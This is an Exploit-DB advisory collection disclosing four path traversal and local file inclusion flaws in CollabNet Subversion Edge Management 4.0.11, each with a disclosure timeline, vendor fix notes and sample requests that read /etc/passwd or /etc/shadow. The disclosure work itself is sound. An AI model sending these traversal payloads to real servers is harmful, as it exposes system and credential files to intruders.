Exploit-DB #37442
Description: CollabNet Subversion Edge Management 4.0.11 - Local File Inclusion
Type: webapps
Platform: linux
Date: 2015-06-30
Author: otr

Exploit:
# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management
# Frontend via logfile "fileName" parameter of the "tail" action
#
# Date: 28.06.2015
# Author: otr
# Software Link: https://www.open.collab.net/downloads/svnedge
# Vendor: CollabNet
# Version: 4.0.11
# Tested on: Fedora Linux
# Type: Local file inclusion
#
# Risk: Medium
# Status: public/fixed
# Fixed version: 5.0

Timeline:

2014-10-09 Flaw Discovered
2014-10-20 Vendor contacted
2014-10-21 Vendor response
2014-12-08 Vendor fix proposal
2014-12-08 Extension of embargo to 19.4.2015
2015-05-04 Extension of embargo until release of version 5.0
2015-05-18 Release of version 5.0 and public disclosure

Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated admins to
read arbitrary local files via logfile "fileName" parameter of the "tail" action

Vulnerability:

  Sample URL:
    https://example.com:4434/csvn/log/tail?fileName=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&startIndex=0

Fix proposal:

Remove feature or santizes the fileName parameter so that no path traversals and
arbitrary file inclusions are possible.

Vendor fix:

[...] now allow only showing hooks/logs within the intended directories.

####################################################################

# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management
# Frontend via logfile "listViewItem" parameter of the "index" action
#
# Date: 28.06.2015
# Author: otr
# Software Link: https://www.open.collab.net/downloads/svnedge
# Vendor: CollabNet
# Version: 4.0.11
# Tested on: Fedora Linux
# Type: Local file inclusion
#
# Risk: Medium
# Status: public/fixed
# Fixed version: 5.0

Timeline:

2014-10-09 Flaw Discovered
2014-10-20 Vendor contacted
2014-10-21 Vendor response
2014-12-08 Vendor fix proposal
2014-12-08 Extension of embargo to 19.4.2015
2015-05-04 Extension of embargo until release of version 5.0
2015-05-18 Release of version 5.0 and public disclosure

Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated admins to
read arbitrary local files via logfile "listViewItem" parameter of the "index"
action

Vulnerability:

  Request:
    POST /csvn/repo/index HTTP/1.1
    Host: example.com:4434
    [...]

    id=1&datatable_length=10&listViewItem_../../../../../../etc/passwd=on&_confirmDialogText_copyHook=&_confirmDialogText_renameHook=&_action_downloadHook=Download

  Response:

    HTTP/1.1 200 OK
    Content-Type: text/plain
    Content-disposition: attachment;filename="../../../../../../etc/passwd"
    Content-Length: 1825

    root:x:0:0:root:/root:/bin/bash

Fix proposal:

Remove feature or santizes the "listViewItem" parameter so that no path traversals and
arbitrary file inclusions are possible.

Vendor fix:

[...] now allow only showing hooks/logs within the intended directories.

####################################################################

# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management
# Frontend via "fileName" parameter of the show action
#
# Date: 10.10.2014
# Author: otr
# Software Link: https://www.open.collab.net/downloads/svnedge
# Vendor: CollabNet
# Version: 4.0.11
# Tested on: Fedora Linux
# Type: Local file inclusion
#
# Risk: Medium
# Status: public/fixed
# Fixed version: 5.0

Timeline:

2014-10-09 Flaw Discovered
2014-10-20 Vendor contacted
2014-10-21 Vendor response
2014-12-08 Vendor fix proposal
2014-12-08 Extension of embargo to 19.4.2015
2015-05-04 Extension of embargo until release of version 5.0
2015-05-18 Release of version 5.0 and public disclosure

Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated admins to
read arbitrary local files via logfile "fileName" parameter of the show action

Vulnerability:

  Request:
    GET /csvn/log/show?fileName=../../../../../../etc/shadow HTTP/1.1
    Host: example.com:4434

  Response:
    HTTP/1.1 200 OK
    [...]
    <div class="span3">../../../../../../etc/passwd</div>
    [...]
    root:x:0:0:root:/root:/bin/bash

Fix proposal:

Remove feature or santizes the fileName parameter so that no path traversals and
arbitrary file inclusions are possible.

Vendor fix:

[...] now allow only showing hooks/logs within the intended directories.

####################################################################

# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management
# Frontend via logfile "filename" parameter of the "downloadHook" action
#
# Date: 28.06.2015
# Author: otr
# Software Link: https://www.open.collab.net/downloads/svnedge
# Vendor: CollabNet
# Version: 4.0.11
# Tested on: Fedora Linux
# Type: Local file inclusion
#
# Risk: Medium
# Status: public/fixed
# Fixed version: 5.0

Timeline:

2014-10-09 Flaw Discovered
2014-10-20 Vendor contacted
2014-10-21 Vendor response
2014-12-08 Vendor fix proposal
2014-12-08 Extension of embargo to 19.4.2015
2015-05-04 Extension of embargo until release of version 5.0
2015-05-18 Release of version 5.0 and public disclosure

Summary:

The CollabNet Subversion Edge Management Frontend allows authenticated admins to
read arbitrary local files via logfile "filename" parameter of the
"downloadHook" action

Vulnerability:

  Example URL:
    https://example.com:4434/csvn/repo/downloadHook/1?filename=../../../../../../etc/passwd

Fix proposal:

Remove feature or santizes the "filename" parameter so that no path traversals
and arbitrary file inclusions are possible.

Vendor fix:

[...] now allow only showing hooks/logs within the intended directories.